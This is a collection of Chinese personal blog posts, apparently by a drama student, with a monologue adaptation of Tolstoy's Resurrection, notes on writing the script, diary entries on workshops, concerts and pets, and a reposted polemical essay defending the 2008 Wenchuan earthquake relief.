一
在这个城市里不论树木花草，不论雀鸟昆虫，不论小孩子，全都欢欢喜喜。可是人——大人，成年人——却依然无休无止地在欺骗自己和互相欺骗，折腾自己和相互折腾。人们认为，神圣和重要的不是这春天的早晨，不是为造福万物而生就的人间美景，这种可以激发和睦、融洽、友爱之情的美景，最神圣而重要的倒是人们自己想方设法，实行人对人的统治。
比如今天，省监狱办公室里的官吏们就认为神圣和重要的绝不是享受春天的换了，他们认为神圣重要的是——昨天收到一封毒杀命案的公文。公文要求：今天，也就是四月二十八号，上午十一点前将在押的两女一男共三名案犯送法庭受审。我为什么会知道这些？那得感谢玛利亚·柯察金公爵小姐，我的那位还未过门的妻子，她已经在想法设法地统治我的生活了。我想专心画我的画，至少在我母亲去世之后我以为没有人再会来干涉我的爱好。可是公爵小姐却已经开始操持起我的生活。她居然要我去当一名陪审员。一看到信里写着陪审员三个字我就不想在读下去。在这个世道下，哪个法官还会专心致志地听那些陪审员的话，我在那里无非就是坐上一个下午，多认识几个可有可无的上等人。可有可无的上等人，也许这个才是梅西期望我做的吧。简直就和我母亲没有区别。

二
她是喀秋莎吗？为什么她看上去那么眼熟，就像10年前……柳包芙·马斯洛娃，对的是她！……但是她应该还呆在叶卡捷琳娜的，为什么她会沦落到这里？……是的，一定是的，因为我玩弄了她，害她落到现在这种地步。哦，我的天呐！……这是上帝对我的惩罚嘛？即使我没有和那位州长决斗，也没有被他一枪毙命。说心里话，和看到喀秋莎现在的样子相比，我情愿让子弹穿过我的心脏！要不是我害她走上歧路，她一定还是那个最美丽的喀秋莎……她没有罪。有罪的人是我，我才是罪魁祸首。

三
快放了她！特米德里·伊凡内奇，你这样会害了这个姑娘的。10年之后她会变成一个人尽可夫的妓女！这些都是你害的！……趁她现在还没有被你的花言巧语打动，放过她吧。……有人嘛？要是这个时候有谁出现在那里该多好，这样喀秋莎就会害羞地逃走。哪怕你想再多的花招都没有机会了。有人嘛？你们这些平时总是在我眼前唠唠叨叨或者低声祈求的人呢？这是基督复活的日子！你们怎么可以任由这样的事情发生……特米德里·伊凡内奇，你要知道，这个世界上不是任何东西都是你想要就能够得到的，并且理所应当。

四
她是因为我而堕落的。以前姑妈说喀秋莎象她母亲一样生性淫荡。说她在我走后不久就怀上了野种……那可能是我的孩子！上帝啊，我的孩子！我居然就这么走了，而且还像个嫖客一样，在临走的时候给了她100卢布。
噢！特米德里·伊凡内奇！你到底是在干什么呀！你知道你的行为是多么的卑鄙、恶劣、残酷嘛？你怎么还有脸去做陪审，站在被告席上的那个人，应该是你！呵呵，你早就不认为自己是个高尚、纯洁、慷慨的人了吧？你每天想着的都是快快活活地满怀信心活下去。依靠酒精、依靠女人、依靠那些多得数不清的钱。呵呵，想忘记一切烦恼嘛？可是……这不可能！
我要冲破束缚我精神的虚伪罗网，不管这得花多大代价。我要承认一切，我要老实告诉梅西，我是个生活放荡的人，不配和她结婚，这一阵我只给她添了麻烦。我要对那位州长说，我是个无赖，我欺骗了他。我要对她，对卡秋莎说，我是个无赖，对她犯了罪，我要尽可能减轻她的痛苦。对，我要去见她，要求她饶恕我。对，我将象孩子一样要求她的饶恕。必要时，我就同她结婚。

五
……

一个剧本而已，我一直这样提醒自己。
但是如果是平常的剧本，我一定会很喜欢地用自己的思路去控制，去主导整个结构，整个故事。而现在我遇到了《复活》这个万分艰难的挑战。

长篇小说写得是一个时代。而这个长篇不只是一个时代，还是作者的一生心血。列夫·托尔斯泰用前前后后十年的时间写出了复活，当中包含着他生命最后几年的离家出走，深入地方考察。仔细研读小说的我不敢说托尔斯泰是把自己当成了涅和留多夫在生活，不过他真的是用十年十年换取了自己对这个主人公的理解，对他身边其他人物的理解。比起托尔斯泰的其他小说，复活真正深入了人最本质的内心。

在改编这个剧本的时候我遇到了几个问题。我感觉抓狂，内心矛盾。我甚至想吐。想吐不是因为恶心或者其他，而是觉得一种心力憔悴，从来没有为一个本子投入过如此多的精力，这样地把自己放在一个角色中去生活。所以是我的心脏在带动我的胃不停反复，不停的翻滚。
审查本子的导演说我写得太平，故事没有起伏。这是现在遇到的最头大的问题。我想说不是我要写得平。这是导演说到我心眼里去了。很矛盾啊。这个小说没有太多的起伏，就像以前看过的电影《白夜》，以及我喜欢的气死洛夫斯基的电影一样，托尔斯泰用一种近乎波澜不惊的笔墨在白描以这个社会，一个非常残酷的社会。这种人物心路历程看似波澜壮阔，但在日常生活中，它又显得这样的平凡。舞台上要强调的矛盾冲突，需要观众随着故事的发展不断的坐过山车，但是这个小说似乎不是在写这样的场面，他就像陈佩斯的喜剧，会让人笑着哭。
这是一种矛盾，小说文本和舞台文本的矛盾，似乎很难处理得当，至少我在煎熬，怎样让这两者的差异在舞台上，至少是我的舞台文本里表现得出。
也正因为我的矛盾，所以导演很体恤我的难处，开始了令人刺激的群体讨论，来帮助我一起定舞台呈现的方式。非常棒的过程，大家在一起工作的几个半天热闹亢奋，在有限的时间里，我们已经把整个文本的框架给完成，只待我整理出来，然后把之前写的内容给填写进去。可是，我却有那么一些纠结。这也许就是第二个我的内心的矛盾吧。我很喜欢形式上的东西，非非非常喜欢，至今排过的东西都是玩形式为主，甚至我会给自己找一个玩形式的借口——形式为内容服务。但是对于复活来说，形式感似乎不那么重要了。小说主要白描的人物内心需要的似乎是演员在舞台上竭尽全力地塑造，适当的场景调整，加上合适的灯光音效就已经足够。哎。。。。这个形式啊。。。。该怎么调整啊。。。。
另外就是关于这个剧本的主角该是谁的问题了。。。。我甚至已经在想剧本研讨会上已经怎样来发言了。。。。在夏衍改编的剧本里，他把马斯洛娃作为了女主角，而涅和留多夫似乎变成了一个配合的角色。而小说不是。小说里的主角只有一个——涅和留多夫。
可以理解夏衍为什么要这么做。带着左的思想的夏衍想把贵族子弟涅和留多夫的思想的复活写成是由一个下等妓女马斯洛娃的刺激而发生改观的。这很符合民主革命时期历史的需要。试想台下的观众一定会为了这样一个新时期女性的代表性人物鼓掌欢呼。但是真正的情况是涅和留多夫是因为马斯洛娃这个10年前被他诱奸的女人的出现，让他产生要赎罪的欲望，而这种欲望成了他内心希望改变自己生活的想法的导火索。
这两个理解的不同，写出来的剧本可以说是大相径庭的。因为视角的不同，剧本能够告诉别人的也会不同。我一直在和导演坚持这样的观点，很成功。但事实证明，从马斯洛娃的视角去写，整个剧本很容易。而要从涅和留多夫的视角去写，那就要带出一个时代，很困难。我在给自己挖坑。但就像他们说的，挺过来了就好了。
事实是我忠于挺过来了。在大家的帮助下把这些视角问题都解决了。可是，我还是怕，因为整整三个部分的内容要压缩在110分钟内。这是又一个矛盾了吧。我最初写的时候是按照任务需要的90分钟的容量去写的，看是写着写着，我发现不能啊，我怎么也要写到150分钟的容量啊，毕竟分成三部的小说，要在150分钟里完成。天。。。。我收不住，功力不够。。。。还好，后来剧组的要求从一个半小时开始松动，慢慢地到一个小时五十分钟，再到两个小时左右。我终于可以放松镣铐。对于所有人来说，这都是个很大的挑战吧。恩，是个挑战！

前天在温州睡大觉的时候孙老师接了个导师的电话，然后就约了今天去谈话。

两天来心情很忐忑，生怕导师又安排了什么新任务。于是，我在踏入导师办公室前就决定装傻到底，然后说手上事情很多，可能不能再接什么活了。

事情来得很突然，当同去的师姐和导师聊了半天以后，突然他的枪口对准了我。出乎我的意料。他没有给我什么新的任务！他真的没有给我什么新的任务。反而说。。。。。。
“新煌，听说你现在事情很多啊。”
“额，暑假里怕自己无聊，就多了点。”我说
“少做点乱七八糟的事情吧，要知道重点。”
“哦知道了。”
然后的对话大体意思是你想不想考博，如果想考的话现在就要开始认真复习起来了。算是一种答应让我考的态度吧。

好吧，带着导师的这句话。我想我也是应该把很多不必要做的事情给放下了。然后计划下下半年应该做的事情。
英语吧，12月份的六级是最后一次过线的机会了，一定要好好复习！
然后就是专业的复习，饿，好多东西，但愿不要看死。
其他的，现在答应的都好好得去做掉吧。
接下来的事情一概不接了。

引用三年前说过的一句话——博，我要烤死你！！！

突然想写博了，却又不知道应该给它取个怎样的名字。于是，朝左手边望去，看到了灌篮高手的明信片醒目地放在那里。就叫slam dunk吧。

周六去看了伍佰上海演唱会。曾经对自己说过有两个人来上海开演唱会我一定会去，一个是张震岳一个是伍佰。很幸运的，在一年的时间里这两个心愿都完成了。虽然都是买黄牛票，都是没有看到看场，但是心愿终于也就这样了了。很开心，能和蛋清一起等了两次黄牛票，而且都是用110块钱冲了进去，并且在场内肆无忌惮地喊着跳着，直到嗓子完全哑掉，直到眼泪激动地蹦出眼眶，和喜欢的人一起和喜欢的歌手同场飙歌是一种幸福吧。
并且有种很莫名的冲动，在看完伍佰和张震岳后我的心愿又变成了一定要在将来去台北小巨蛋听他们的演唱会，因为那里才是他们真正能够展现自我的地方，最好有可能的话，希望他们能在已经不在的LIVE A GOGO开唱，这样我也可以体会一下那种零距离在他们面前蹦蹦跳跳的感觉了。有种想离开上海的冲动。

有种想离开上海的冲动。记得是在看到yoji的北京相册时开始的。虽然不是很喜欢绿毛，不喜欢那种皇城根下的傲慢，但是那里有种底蕴在吸引我。说不上到底是不是北京在吸引我，应该是世界的每个角落都有的各自的底蕴在吸引我吧。心底伸出有个声音在呼喊我，出去走走吧，最好是一年半载。
刚刚毕业的同学的留言里写着“感觉上海是一个没有感情的世界”，除了好友外，大概真的是这样吧。不过我却不是很认同。只是我觉得在这样一个城市里，充满压力和快节奏的城市里，一切都会让人身不由己。每个人都像扑火的飞蛾，各自为了一些看似美好，却又可能是幻象的东西努力着。赚钱、努力的赚钱，然后找个好老婆好老公结婚，生个胖娃娃，把他们抚养长大，看着他们成才，等着自己慢慢老去。生活的意义仅仅如此。很喜欢蛋清给我讲的厦门的故事。她在海边遇到一个渔民叔叔，她问叔叔，你在干什么。叔叔说他在打渔。要是打不到鱼，就当在海边玩。好想要这样的生活。好想好想。

灌篮高手里每个人都在为自己喜欢的事情努力着。我最喜欢的不是湘南的那些猴子们，也不是那些很帅的帅哥。我喜欢鱼柱。那个陵南的大猩猩，比赤木都丑的大猩猩。当陵南被淘汰后，他退学去继承了爸爸的料理店。但是又在众人的劝说下，重新出山与湘南打了一场惊心动魄的练习赛，最后虽然还是失败了，但是他心满意足地离开了。
为了自己的爱好去做自己喜欢的事情，但是最后又无怨无悔地去做了他必须去承担的事业。这样的男人，比樱木和流川枫更让人敬佩吧。

在512汶川大地震一周年纪念之前，我约同几位朋友做了一件事，那就是请上海的中小学生每人选一本自己最喜欢的书，通过网上点击赠送灾区的同学，“九久网上书城”免费帮助完成这项赠送活动。我为两方的中小学生都写了一段话，其中说到：中国下一代对灾害的最平静回答，是朗朗书声。

　　五月十日下午，我把万余册图书，亲自送到了灾区。灾区几所中小学都举行了隆重的接受赠书仪式，场面让我非常感动。

　　赠书之后，我又为上海市援建都江堰市的几千名工程技术人员作了一次报告，说明一年来抗震救灾壮举体现了中国人的大爱至善精神，说明中华民族在集体本性上具有非常优秀的潜质，不输于世界其它民族。因此，我对上海市的工程技术人员说：“四川灾区是读解中华文明的一个大课堂，你们有机会来援建，是一种荣幸。”我的报告是在一个简陋的工地板房里做的，里边挤了两千多人，大家都汗流浃背，但三小时下来，全场肃静，掌声不断，没有一个人离开。

　　在灾区的这段时间，我还参观了一些校舍的重建、文物遗迹的修复，又重新祭拜了被保留下来的废墟现场。我还访问了著名的救灾英雄、普通的受灾百姓和辛劳的基层干部，知道了这一年来他们每天要面对多少无法想象的难题，也知道了他们前面还有多少沟壑需要跨越。总的说来，那里是一片令人感动的奋斗景象。

　　但是，完全出于意外，我的这些言论，立即受到了香港《蘋果日報》一个署名“桑普”的人的猛烈抨击。他认为，我说中国人的“大爱”、“至善”、“生命关怀”、“以人为本”，全是“迷魂汤”。他向香港读者宣布，中国四川的512地震，“涂炭生灵，哀鸿遍野”，“人祸才是主因”。他甚至认为“真相早已摆在眼前”，“地震早有先兆”，他认为地震的灾祸是“官场腐败的结果”，“早在预料之中”。

　　香港的几位作家读了这篇文章后立即告诉我，写这篇文章的，一定是大陆文人，因为口气、文风只能是大陆的。对此我真正愤怒了，不是因为它针对我。目前在全世界，包括那些对中国有对立情绪的国家，也没有一个人认为，512地震主因是人祸，而不是天灾；也没有一个人认为，中国人民在这场大灾难中表现出来的大爱精神是不存在的，是灌“迷魂汤”。

　　美国没有人这样说，法国没有人这样说，日本没有人这样说，连台湾也没有人这样说。这次地震一周年，世界各国媒体又都来了，也没有一个记者这样说。但是，有几个黄皮肤、黑头发的中国人却这样说了，而且在国际媒体上振振有词。

　　世界历史上很多地方都发生过地震，造成的生态灾难各有记述。去年的512地震，是历史上发生在人口密集地区的最严重的一次，直到今天，居然没有出现任何瘟疫、饥荒、逃亡、难民，这是全世界有目共睹的奇迹。为什么一定要闭着眼睛否认这个发生在自己祖国的奇迹，却去玩弄什么“生灵涂炭、哀鸿遍野”的词汇去诓骗外人呢？你作为中国人的良心放到哪里去了？

　　说这种话，表面上是为了“生灵”，实际上是糟践中国，糟践中国人。我可以断定，这些人一定没有捐款，没有默哀，没有到过灾区，家人亲族中也没有人参加过灾区援救队和志愿者队伍。因为他们一再宣称任何捐款和援助都会让当地政府贪污。这种谎话，其实也在阻止来自世界各国的捐款和援助。

　　我并不是说灾前灾后当地的行政管理工作没有问题。这正像，日本人来侵略中国的时候，当时中国政府的管理也有很多问题。但作为一个中国人，我们总不能说，日本人侵略的“主因”是我们自己造成的。当时的中国政府问题再多，我们也要坚决抗日，保卫祖国。把外来的灾难全都变成了自我讨伐，这就成了汉奸。六十年过去，时代已与抗战时期大不相同，在这次抗震救灾中，全世界都承认，中国政府、中国军队、中国警察、中国医生的表现，堪称优秀。全世界都承认了，唯独几个中国人彻底否认，我真不知道该把你们叫成什么！

　　这个署名“桑普”的人，又一次攻击我去年对请愿灾民的劝说。好像是他站在灾民一边。其实，我当时急急地站出来劝说，正是看到有人要利用那些灾民做政治文章。这些人，明明知道在大地震现场要起诉房屋建筑质量是一件难事，将旷日持久，明明知道大瘟疫随时有可能流行、堰塞湖随时有可能崩塌，明明知道这些灾民在精神上极待援助，却铁着心肠要这些可怜的灾民长时间地跪在那里，来帮他们完成政治图谋，这实在是太冷血、太阴险了。你们要反对中国政府，可以换一个时间、换一个地点啊，而且也应该由你们自己来发言啊，怎么能让这些刚刚经历丧子之痛的家长成为你们的棋子？你们去问问那些家长，有哪一个会同意你们的政见？

　　我是一个无职无权的独立文化人，居无定所，不交权贵，连作家协会和文联也没有参与，只是凭着我的亲眼所见和内心良知说话，如果按照“桑普”等人的所谓西方民主观点，我应该也有言论自由吧？我应该也有歌颂中国人、劝慰灾民的权利吧？为什么灾民们听从了我的劝慰而不听从他们呢？那么，他们又有什么理由来阻止我发言呢？因此，他们不得不伪造了一个阻止我的理由：仍然说我“文革”中有问题，参加过一个叫“石一歌”的写作小组。“桑普”这么一说，我立即知道他是谁了。

　　我曾经一再说明，我在文革中全家受到迫害，只在林彪事件后参加过周恩来总理亲自布置的复课教材编写工作，那是一件光明磊落的大好事。但“桑普”等人故意把水搅浑，把周恩来布置的任务也说成是“文革写作”，还拉出一个“石一歌”的笔名硬按到我头上。我为此曾经发出悬赏，宣布只要有一个人能出示我用“石一歌”的笔名写过一篇、一段、一行、一句他们指控的文字，我立即支付自己的全年薪水给他，并在全国传媒上公布。我的悬赏进行了整整六百天，而且还写进了我在大陆和台湾同时出版的《借我一生》中，但六百天里没有一个人能指出一句，这该真相大白了吧？但可笑的是，这次“桑普”在《蘋果日報》上发表的文章上说，我不仅是“石一歌”，而且还杀了人！

　　这在香港，当然是犯了诽谤罪，是严重的刑事案件。但是，在香港打官司，费用是一笔天文数字，我付不起。也正因为这个原因，“桑普”等人最近几年都到香港去造谣诽谤大陆的人和事了。他们为什么做这样的事？当然只是为了钱。钱来自何方？他们自己知道。

　　我最后要说的话是，诽谤我，你们已闹了十几年，我不想理会了；批判中国政府，这也是你们的权利；但是，要糟践全中国人民的抗震救灾，糟践中国人内心的大爱，糟践中国人在全世界面前的集体形象，我不可容忍。

　　我年岁已经不轻，早已无所畏惧。今后要做的唯一事情，就是要从文化上回击那些向中华民族泼污的一个个利益集团，呼唤华夏子孙本应具备的尊严。这些年我在联合国世界文明大会上的演讲，以及在美国国会图书馆、哈佛大学、耶鲁大学的巡回讲学，都围绕着这个主题。512地震使我对这个主题产生了新的认识。在此，我想重复一下我在512之后半个月与两个美国朋友的对话——

　　美国朋友：余先生，你们中国的这次512，很像我们美国的911，虽然是灾难，却振奋了民族精神，达到了空前团结。

　　余秋雨：不，512高于911。911还留下了极大的仇恨，使你们终于发动了两场战争；而512的中国人，只凭着爱，解决一切问题。中华文明为什么会成为唯一没有湮灭的古文明？每次灾难都这么过来的。没有个人能够单凭自己的力量抵挡大灾难，只能靠着永远的守望相助，文明才能延续。文明和个人一样，“仁者寿”，中华文明长寿的秘诀之一，就是比别的文明更善良。只可惜，我们的历史没有把这些最重要的事情记下来。

现场实践，要和90后和00后的 小朋友们打成一片，还要和他们的老师们打成一片。。。。

理论累计，好多书啊，好多PDF啊，好多工作坊啊~心理的，教学的，先验的，还有未知的。。。

教案规划，之前做了学生的教案，实施得也可以，教师的教案太头大了，哄大人比哄小孩难多啦。。。。

找媒介，我情愿自己去教小孩子，真的，那样很开心，最讨厌老师们板着脸对着小朋友，不过也没有办法，谁让小孩子一放松就容易出事呢。。。。老师的无奈啊。。。

评估制定，密密麻麻的表格要画，每天睡觉时脑子里就是一大片蜘蛛网~

资料汇总，有的好头大了，港台的资料都已经看不过来了，然后还要看成捆的评估内容，好吧，我要开始学习五笔输入了。

大便，现在开始记录致谢名单吧~

突然很想念海子的《面朝大海，春暖花开》，就像昨天晚上突然有种想放下手上的所有事情，买一张去任何地方的机票，漂流几个月的想法。
于是我念了。奇怪外面并没有下雨。

梦见了娜娜和趴趴早上坐在门口无聊的聊天，她们在聊着一个话题。娜娜说她真不应该属于这个地方，猫应该是生活在更自由的空间里的。趴趴在那里附和着，然后转头用她标志性的忧郁眼神望着我，然后跑过去吃起了娜娜的大便。
我突然醒过来，听见另一间屋子里娜娜在叫，趴趴在呜咽。起床放她们出笼子。她们像进入了游乐园一样得在房间里互相追打嘶闹。

“或许我不属于这个地方。”我想我真不应该禁锢娜娜和趴趴了，她们应该属于草地，森林，小河甚至大海的。娜娜是只可爱的小猫，她生来就爱好自由。趴趴是条笨笨的小狗，她生来就喜欢人来疯。我在想着给她们自由，而不是自私的剥夺他们的生活空间，20平米的小房子让他们变得犹豫和敏感，丝毫没有了那种纯真和感性。是吧，当她们成年时给她们自由吧。我不应该那么自私地只想着自己拥有她们。也许明天我就会放她们离开。

“我好想去旅行，马上就去。”我对她们说。“感觉自己玩了那么多年形式，是时候去积淀一些东西了。我觉得自己很饿，是身体上的，感官上的饿。”如果她们再多看我一秒钟，哪怕半秒，我都会像婴儿一样失声痛哭的。一定的事情。
看着她们趴在窗台上看着窗外的景色，我想那就这样吧。

累得有点想发疯。
越写越觉得写不出来。只是喘口气发泄一下。
我好想睡个两三天啊！刚才上厕所照镜子发现自己的目光好呆滞啊。。。。

刚才看见了阿桑去世的消息，我想，阿岳一定很伤心吧。

去年的演唱会上，阿岳在最后结束的时候用一种一反常态感性说他想在最后唱一首他小时候最爱的歌，《温柔的慈悲》。
天，很难想象他会喜欢阿桑的歌。但是当阿岳把阿桑的歌娓娓唱出的时候，那种感觉很打动人。每个人都有自己柔情的一面吧，我想。每个人都有属于自己的感人的故事吧，我想。

今天难得清闲，就去了之前预定的两个青年创意戏剧周，想多学点东西。于是在上午的排练完成后就兴致勃勃地去了话剧中心。为了显示我对这次工作坊的重视，我还特地穿了好久不穿的运动鞋和练功裤，整个模样特2。原因么，因为这两个工作坊的名字好像叫做“青年创意戏剧周之大师工作坊”，冲着大师两字，我一定要毕恭毕敬。

第一个工作坊没有让我失望。台湾上默剧团的孙丽翠老师给大家带来了一个很有实践性的工作坊体验。她大致将格洛托夫斯基肢体剧场的原理清晰地传达给了参与者，并且融入了很多中国传统文化的元素。并且她身上的一种气势，或者说是一种简单的亲和力让大家都感觉到很舒服，于是在并不算太丰富的主持语汇中，参与者还是能够很自觉地投入到训练中，毕竟在一个工作坊里，舒适感是激起参与者热情的最好方式。
不过这个工作坊也有不足吧。可能是因为孙老师她晚上还要演出，所以比较辛苦。于是给人一种有心无力的感觉，有一段时间她的情绪是游离在工作坊之外的，停留在场地里的可能只是她的躯体。心应该在几层楼一下的剧团排练场。还有就是我不知道她是不是可以强调传统文化，先是把欧美肢体剧场中的元素归纳成了土、风、水、火，也就是我们常说的“接地、气化、水化、火化？。”接着又连系了传统文化将之扩充为金木水火土，以此来让参与者接受这些概念。并且询问大家土风水火各自有什么职业比较具有代表性，各自有什么性格具有代表性。额。。。。当时我的脑子里没有想到金木水火土，我的传统文化学得不是很好，也可能是格洛托夫斯基在找出土风水火这些东亚元素或者古希腊元素的时候忽略了木吧。所以我本能地想到了土风水火四相的星座。这样的归纳大概爱好八卦的小青年们会比较容易理解。如果是我的话，肯定已经和大家八卦到天上去了。嘿嘿。
话说回来，孙老师的工作坊的确不错滴。通过精心设计过的压缩版肢体工作坊，还是让参与者大致理解了一些如何去运用肢体，如何去感知肢体的方法。而且她的平易近人让人感到很舒服。比如说脱了鞋子和我们一起做工作坊。虽然她很累，但是她的躯体不曾离开我们。

第二个工作坊。一个叫贝克汤姆的法国导演主持的。没错。我没有打错名字，不是贝克汉姆，就是贝克汤姆。一个穿着很得体的法国导演，身上紫色的背心、黑色的印花衬衫、时尚的修身牛仔裤外加脚上的绅士皮鞋，哦，对了，好像还有更衣前穿着的黑色西装。一个很注重外表的导演加演员。
大家对这样一个法国人的印象一定是很眼前一亮的吧，如此有品味的法国人！但是请注意，宣传册上分明写上了大师工作坊·戏剧即兴 贝克汤姆主持。可能是鄙人比较愚钝，可能是鄙人才疏学浅，至今还没有参与过一个主持人穿着如此优雅的工作坊，不管是老外的还是中国人的。后来我又看了一眼宣传册，看出了上面的道道，孙老师的工作坊是她主讲，贝先生的工作坊是他主持。主讲和主持，差了一个字，却有那么大的区别，看来中国文字的魅力真是大得无穷。（请保留对这两字区别的记忆，后面有相关内容。）
当时还不知道有主讲和主持的区别。我只是打心底里不喜欢这个老外，还有那个翻译。贝先生的主持很有法国人的那种盛气凌人，当然，我一直告诉自己不要把最近的国际关系扯到戏剧工作坊中，但是他的盛气凌人有种让人不屑的味道，行为心理学的理论告诉我们，当一个人刻意昂着头大声硬声对别人说话的时候，其实他是心虚的，或者是故意的。于是我就在30人中用了轻蔑的眼神看他。不巧他以一种优秀演员特有的嗅觉发现了我和众人不同的轻蔑眼神，整个说话过程的三分之二都在用杀人的眼神看着我。小眼瞪小眼就这么持续了好久。我们两个人的彼此交流大家都没有发现。
因为这样一幕的发生，我就没有上去一起和大家参与工作坊。因为这是一个贝先生主持的讲座，而不是工作坊，不是工作坊我就不参与了。不过本着要驳倒别人就要先了解别人的原则我还是坚持到了最后。看完了整个“讲座”。总结了以下一点意见：
1、贝先生的逻辑混乱，或者说是翻译和跟从者（他的徒弟）的专业混乱。姑且称为翻译的专业知识贫乏吧。他大说特说自己对斯坦尼体系研究得很透彻，又说自己的工作坊结合了很多太极和瑜伽的原理，要求参与者，或者演员一定要走内心，用内心去体验角色去锻炼自己的各种状态。但是他的练习的大多数都在走身体记忆方面的路线，和之前孙老师的练习基本没有差别。可以说他的理论是走内心，但是其实外在练习却是通过肢体的训练来带动内心的体验。这个和很多以前看到过的欧洲导演的训练方法完全不同。或者说我想下个结论，他在扯淡吧？！大范围的身体体验给内心的经验积累是从外到内的吧。怎么就变成了从内到外了呢？
要么我自我反省一下，我只看了他一场讲座，没有参加过他的工作坊，所以我的认识是错误的？
2、那么我想说第二点。贝先生的翻译又说了。大范围快速（快节奏，注意力高度集中）走动过后的人，在几秒钟后停下脚步时，气息应该是平稳的。额~我被雷到了。翻译居然要求一群业余爱好者具备武林高手的特质。在大运动量之后还不能大口喘气，还不能擦汗。我们是人不是神。纵使贝先生的初衷是告诉我们要成为一个好的演员必须做到内心平静，但是请记住你面对的是一群业余爱好者。他们不是你，不是大师！请不要至高气昂的要求一群业余爱好者。
3、最后我实在忍不住提了一个问题。还是因为翻译的。他在为期两个小时的工作坊里始终在用两个词形容一样东西——贝先生的戏剧种类。他使用了“情景戏剧”和”情境戏剧“。很牛，都是不带思考的夹花使用。
好了，搬出前面的主讲和主持。既然贝先生和他的翻译以及随从已经在宣传时注意到了主讲和主持的区别。那么，我想他们对于汉语的驾驭能力一定不差。一定对自己的用词很有心得。但是，但是为什么他们会始终在混乱地使用两个不同的词语形容一个戏剧类型呢，而且是很关键的一个属于。也是贝先生下午说得最多的一个法语词。
于是我就提出了这个问题。结果贝先生的翻译不屑地看看我，然后贝先生也不屑地回答了一下，他们的回答是！：你自己去查查英语和法语的资料，去看看这两个词哪个形容更好就用哪个。（额。。。业余爱好者真容易被欺负呀）
我的天！
4、态度决定一切，米卢的这句话说得很好！做工作坊的人可以穿着很精致，做工作坊的人可以把一种至高气昂带入工作坊情境，做工作坊的人可以在一个工作坊里用两个词形容一个戏剧类型，还不带解释，做工作坊的人可以连从内到外和从外到内都分不清楚。呵呵。短短的2小时我就能找出那么多他的专业上的错误。那么如果是两天，20天呢？
我想说首先他自己就是不尊重戏剧的。也是不尊重戏剧好爱者的。
5、最后一点意见，外国的月亮不是都是圆的。记得在话剧中心参加过的丹麦舞蹈工作坊啊，英国的百字剧工作坊啊之类的就不错。人家是很有亲和力地在给业余爱好者教工作坊。当然也包括这次台湾地区的孙丽翠的工作坊。每次去我都感觉到很舒服很有参与感。但是有好的也会有不好的吧，什么叫鱼龙混杂呢。所以还是不要轻易地迷性老外的戏剧传教吧。人家都说了要在中国做游街式的艺术作品，要演员们敢于向导演说出自己不同的心声。

人说爬得越高摔得越痛，想来是有道理的。
今天做音效，连着三天，一天排练，两天演出都遇到了一些小问题。当然不只是我这个音效出的问题，也包括了很多演员、后台、剧场的。但是最后归结到一起后，制作人就打电话来刺激了我。她问我是不是有什么想法才会出现很多问题。我当时那个气愤啊。诚然，我的确犯了些错误，但是更多的错误并非因我而起。于是就打电话与舞台监督交涉，问他我哪里出现了问题。演员不敬业，随口瞎编台词导致我音效跟不上是我的错？灯光的无线电坏了，我帮忙传话，导致音效灯光对不上是我的错？舞台监督说话模棱两可，语意不清是我的错？才大三的学弟对我说话都是使唤的口气，是可忍孰不可忍？
要知道，晚上演出前，只有我这个音效和两个男演员在现场过所有场景的顺序和台词，熟练记忆。事实也证明了最后他们两个是最稳定的（除了男一说错台词导致我的音效没有跟上）。
话说大不出便，不要怪马桶没有吸力。马桶永远都回越造越先进的。这句话有够粗鲁。不过也很有道理。以上的错误我确定不是我的。但是我也有问题。好吧，首先演出当中我是用屁股在思考，因为这么简单的《20 30 40》我只要用光盘而不是AUDITON就能搞定。轻敌是我的错。其次今天为了赶时间最后谢幕结束后，观众散场的时候，我在理东西没有注意到散场音乐已经结束了，居然观众还剩一半的时候进场舞台提示又响了起来。还有音控台有问题我没有及时和技术人员沟通，导致很多要推到高潮的音效有瑕疵和不稳定。我承认我的错误，也算反思。

可是我觉得我要反思的不仅仅是这些。这些只是表面的问题而已。
我发现现在的我很难接受别人挑衅的口吻了。因为太习惯了别人用商量的，请求帮助，陈老师，导演，编剧，师兄的称呼让我有点飘飘然了。人说爬得越高摔得越痛，想来是有道理的。当我被不停的吹捧太高的时候，我已经有点迷失自己的价值观了，我已经很难在一个平等以致向上的语汇里和人对话了，即使表面上可以，但前提是对方一定要有压过我的能耐。
脑子里闪出了贝肯鲍尔的经历。他当球员拿过世界杯，当教练也拿过世界杯。而当他成为德国足协主席时，恰逢德国足球的滑坡，于是有人提议让他复出执掌国家队时他拒绝了，他说以他的位置已经很难在回到以前的岗位上了，因为自己已经失去了做教练应有的心态。同时还想到了前些天德国导演戈贝尔的一席话。有他曾经的乐迷问他为什么不再重组乐队，以乐手的身份回到舞台上。他说他已经成了一个作曲者，和掌控者，如果再做乐手就很难保证一颗纯粹的心了。
虽然我看到的他们两人的言论是一刹那的，但是现在我相信他们一定也经历过这样的情况。想去重新做个教练，想去重新做个乐手，可是他们很痛苦地发现自己已经无法胜任，并且为此挣扎。于是，在岁月的洗涤里，他们开始知道自己在某个时期应该扮演的角色，已经怎样生活。
我想我也是一样的吧。当一个不入流的场监，当一个京片子商业导演，更有一个才大三就不好好学习开始打工的舞美系学弟在那里指挥着我，教我应该做什么事情的时候，我觉得我已经不能适应了。其实想想我自己也只是个不入流的混混，英语到现在还是老大难问题，像样的作品也没有出来，可是众人对我的称呼，和我自己给自己的定位已经让自己失去了平和的心态。

所以请大家帮助我恢复一颗平常的心。
请只叫我蛋黄。
我想活得更加纯粹，能一直保持一颗平和的心。

当然，通过这次的音效事件我也知道了自己现在的心态。如果不是我自己提出，请不要再让我做音效了。害人害己。。。。不是因为我不知道自己如何控制心态，而是我还没有那种泰然处事的心境。在这之前，我想我要不断反省自己。

流水账1
今天在教室里接到一个陌生的号码，回拨回去，是前老板打来的。他怕我忘记了他，还自报了家门。我怎么会忘记。那可是带我出道的人啊。永远都感激的人！世界就是那么的小，他今天和青年汇谈剧社合作的时候问起了青年汇现在谁在指导。然后蛋壳报了我的名字。于是前老板和蛋壳的谈话也就拉近了距离。自然而然，他也就电话了我。只是电话那头的他大概不知道，现在的我和4年前的我已经有了很大的改变。记得当时他对我的鼓励：“小陈，你工作个两年，我肯定你能怎么怎么。”可惜后来我徘徊于工作和校园之间，但是现在我能保证的是，即使不工作两年，我也能怎么怎么。盲目的自信吧：0

流水账2
